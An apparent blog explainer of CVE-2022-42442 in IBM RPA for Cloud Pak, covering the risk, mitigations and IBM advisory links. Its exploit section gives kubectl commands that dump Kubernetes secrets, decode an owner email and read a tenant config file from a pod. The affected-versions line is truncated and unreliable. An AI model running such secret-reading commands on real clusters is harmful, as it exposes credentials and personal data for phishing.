Security is a major concern for organizations that rely on automation and cloud solutions. In late 2022, IBM disclosed a vulnerability, CVE-2022-42442, affecting several releases of its Robotic Process Automation (RPA) for Cloud Pak product line. This flaw could lead to the exposure of sensitive user information—specifically, the email address of the first tenant owner—to anyone with access to the underlying container platform. This post breaks down the issue, explores the risks, shows how the vulnerability works using code snippets, and gives you resources to stay protected.

IBM Robotic Process Automation for Cloud Pak 21..5

If you’re running any of these versions in your environment, user data may be at risk.

IBM’s Advisory: https://www.ibm.com/support/pages/node/6841245  
IBM X-Force ID: 238214 (X-Force Exchange entry)

What’s the Risk?

Essentially, anyone with access to the container platform running IBM RPA for Cloud Pak could potentially find out the email address of the very first owner (administrator) of every tenant registered on that platform. Attackers could then use that information for phishing, social engineering, or to further infiltrate your organization.

This is considered a low complexity attack—no advanced hacking skills needed, just access to the platform.

How Does the Exploit Work?

The problem lies in the way tenant information, including the owner’s email, is handled and stored in the backend components of IBM RPA on Cloud Pak. Let’s look at how someone might find and exploit this vulnerability.

Accessing the Container Platform

Most organizations use Kubernetes or OpenShift as their container orchestration platforms. An attacker with admin or privileged user access to these platforms can inspect the running pods, secrets, config maps, and persistent volumes.

Locating the Email Address

Usually, the tenant owner’s email is stored in an environment variable, a secret, a config map (YAML/JSON), or inside a log file. Here’s a simple example using Kubernetes CLI (kubectl):

Step 1: List all pods to find the relevant one

kubectl get pods -n ibm-rpa-namespace

Step 2: Get information about the admin pod (example)

kubectl describe pod rpa-admin-xyz123 -n ibm-rpa-namespace

Step 3: Check for secrets or config maps containing the email

kubectl get secrets -n ibm-rpa-namespace | grep rpa
kubectl get configmap -n ibm-rpa-namespace | grep rpa

You can decode a secret to lookup its content

kubectl get secret rpa-tenant-info -n ibm-rpa-namespace -o yaml

Typical output might include a section like

apiVersion: v1
data:
  ownerEmail: YWRtaW5AY29tcGFueS5jb20= # base64 encoded
kind: Secret

To decode the email

echo YWRtaW5AY29tcGFueS5jb20= | base64 --decode
# Output: admin@company.com

Suppose the tenant info is stored in a mounted volume or file

kubectl exec -it rpa-admin-xyz123 -n ibm-rpa-namespace -- cat /app/config/tenant.json

Sample output

{
  "tenant": "company-tenant",
  "owner": {
    "email": "admin@company.com",
    "name": "John Smith"
  }
}

Who Can Exploit This?

Attackers need access to the underlying container platform but don’t need to be RPA users. This means someone who already has some level of privilege—like a cluster admin, support engineer, or even a compromised workload with escalation—could potentially abuse this flaw to collect email addresses systematically.

Real-World Attack Scenario

A malicious actor in a large organization wants to spearphish RPA admins across all tenants. With access (legitimate or not) to the container platform, they enumerate tenants and collect owner emails, crafting highly targeted attacks.

Protective Measures

IBM strongly recommends upgrading to a fixed release.

If you can’t upgrade immediately

- Restrict access to your container platform—keep only trusted users/admins.
- Audit and rotate secrets/configs regularly.

Apply principle of least privilege—don’t give everyone admin credentials.

Patch links and fixes:  
IBM’s patch information for CVE-2022-42442:  
https://www.ibm.com/support/pages/node/6841245

Conclusion

CVE-2022-42442 might seem minor at first, but even an email address holds value for attackers. When using enterprise automation like IBM Robotic Process Automation for Cloud Pak, always stay on top of software updates, enforce strict platform security, and regularly review your environment for leaked or exposed credentials.

Stay proactive—don’t wait for attackers to find you first.

For further details, reference:  
- IBM Security Bulletin  
- NIST CVE Record  
- IBM X-Force Exchange


*If this helped you, consider sharing with your IT and security teams to keep everyone informed and secure!*

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 05/12/2023 00:15:00 UTC